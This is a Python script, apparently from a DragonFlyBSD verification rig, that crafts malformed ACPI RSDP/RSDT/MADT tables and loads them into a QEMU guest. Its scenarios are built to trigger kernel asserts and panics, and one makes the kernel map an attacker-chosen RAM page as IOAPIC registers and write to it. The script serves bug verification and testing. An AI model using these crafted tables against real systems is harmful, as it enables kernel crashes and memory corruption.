DF-5433 / gen_madt.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | #!/usr/bin/env python3 """ gen_madt.py -- craft a minimal RSDP->RSDT->MADT chain for the DragonFlyBSD acpi_madt.c pass-2 verification rig. Injection model (matches sdt_probe()/madt_probe() on the stock guest): - kernel is booted with loader kenv hint.acpi.0.rsdp=0x40000000 (sys/platform/pc64/acpica/acpi_sdt.c:71 -- the hinted RSDP is accepted with NO signature and NO checksum validation) - QEMU -device loader,file=<blob>,addr=0x40000000,force-raw=on places this blob in guest RAM before firmware handoff. Blob layout (all offsets relative to 0x40000000): +0x0000 RSDP rev 0 (-> RSDT path), RsdtPhysicalAddress = +0x100 +0x0100 RSDT 1 entry -> MADT at +0x200 +0x0200 MADT Address=0xFEE00000 (real QEMU LAPIC mmio), Flags=1 + scenario entries +0x1000 fake IOAPIC register file (scenario 'fake_ioapic' only): IOWIN (+0x10) preloaded 0x00F00000 -> VER read gives npin=241 Scenarios: control BSP + 2 APs + real IOAPIC -> must boot normally bsp_omit 2 enabled AP entries, no BSP entry -> probe passes, KKASSERT(arg->bsp_found) acpi_madt.c:375 ioapic_overlap 2 IOAPIC entries, both GSI base 0 -> ioapic_add() panic "overlapped gsi" ioapic.c:240 fake_ioapic IOAPIC entry Address=0x40001000 (RAM!) -> kernel maps attacker-chosen phys page as device MMIO and writes to it dup_cpu BSP + two entries with the SAME APIC id 1 -> phantom second AP slot, SIPI to an already-running AP """ import struct import sys BASE = 0x40000000 RSDP_OFF, RSDT_OFF, MADT_OFF, FAKE_IOAPIC_OFF = 0x0, 0x100, 0x200, 0x1000 def csum(b): return (-sum(b)) & 0xFF def sdth(sig, length, rev, oem=b'DFBSD '): h = bytearray(36) h[0:4] = sig struct.pack_into('<I', h, 4, length) # Length (filled by caller total) h[8] = rev h[9] = 0 # checksum patched later h[10:16] = b'DFBSD ' h[17:21] = b'PASS' struct.pack_into('<I', h, 21, 1) # OemRevision h[25:29] = b'IACT' struct.pack_into('<I', h, 29, 1) # AslCompilerRevision return h def lapic(pid, apic_id, enabled=True): return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0) def ioapic(apic_id, addr, gsi_base): return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base) def intsrc(bus, irq, gsi, flags=0): return struct.pack('<BBBBIH', 2, 10, bus, irq, gsi, flags) def build(scenario): madt_entries = b'' fake_regs = None if scenario == 'control': madt_entries = lapic(0, 0) + lapic(1, 1) + lapic(2, 2) madt_entries += ioapic(0, 0xFEC00000, 0) elif scenario == 'bsp_omit': # enabled non-BSP CPUs only; hardware BSP id is 0 under KVM madt_entries = lapic(1, 1) + lapic(2, 2) elif scenario == 'ioapic_overlap': madt_entries = lapic(0, 0) + lapic(1, 1) # first is the REAL qemu ioapic (24 pins); second sits on unmapped # mmio (VER read -> 0xffffffff -> npin 256) but same GSI base 0 madt_entries += ioapic(0, 0xFEC00000, 0) + ioapic(1, 0xFEC88000, 0) elif scenario == 'fake_ioapic': madt_entries = lapic(0, 0) + lapic(1, 1) madt_entries += ioapic(0, BASE + FAKE_IOAPIC_OFF, 0) fake_regs = bytearray(0x100) struct.pack_into('<I', fake_regs, 0x10, 0x00F00000) # IOWIN: VER -> npin 241 elif scenario == 'dup_cpu': madt_entries = lapic(0, 0) + lapic(1, 1) + lapic(2, 1) # id 1 twice! else: raise SystemExit('unknown scenario ' + scenario) madt_len = 44 + len(madt_entries) madt = sdth(b'APIC', madt_len, 3) + bytearray(8) struct.pack_into('<I', madt, 36, 0xFEE00000) # Local Apic Address struct.pack_into('<I', madt, 40, 1) # PCAT_COMPAT madt += madt_entries madt[9] = csum(madt) rsdt_len = 36 + 4 rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4) struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF) rsdt[9] = csum(rsdt) rsdp = bytearray(24) rsdp[0:8] = b'RSD PTR ' rsdp[8] = 0 # v1 checksum (unchecked) rsdp[9:15] = b'DFBSD ' rsdp[15] = 0 # Revision 0 -> RSDT path struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF) struct.pack_into('<I', rsdp, 20, 20) blob = bytearray(0x1100 if fake_regs else 0x300) blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt blob[MADT_OFF:MADT_OFF + len(madt)] = madt if fake_regs is not None: blob[FAKE_IOAPIC_OFF:FAKE_IOAPIC_OFF + len(fake_regs)] = fake_regs return bytes(blob) if __name__ == '__main__': out = sys.argv[2] if len(sys.argv) > 2 else '/dev/stdout' data = build(sys.argv[1]) with open(out, 'wb') as f: f.write(data) sys.stderr.write('%s: %d bytes\n' % (sys.argv[1], len(data))) |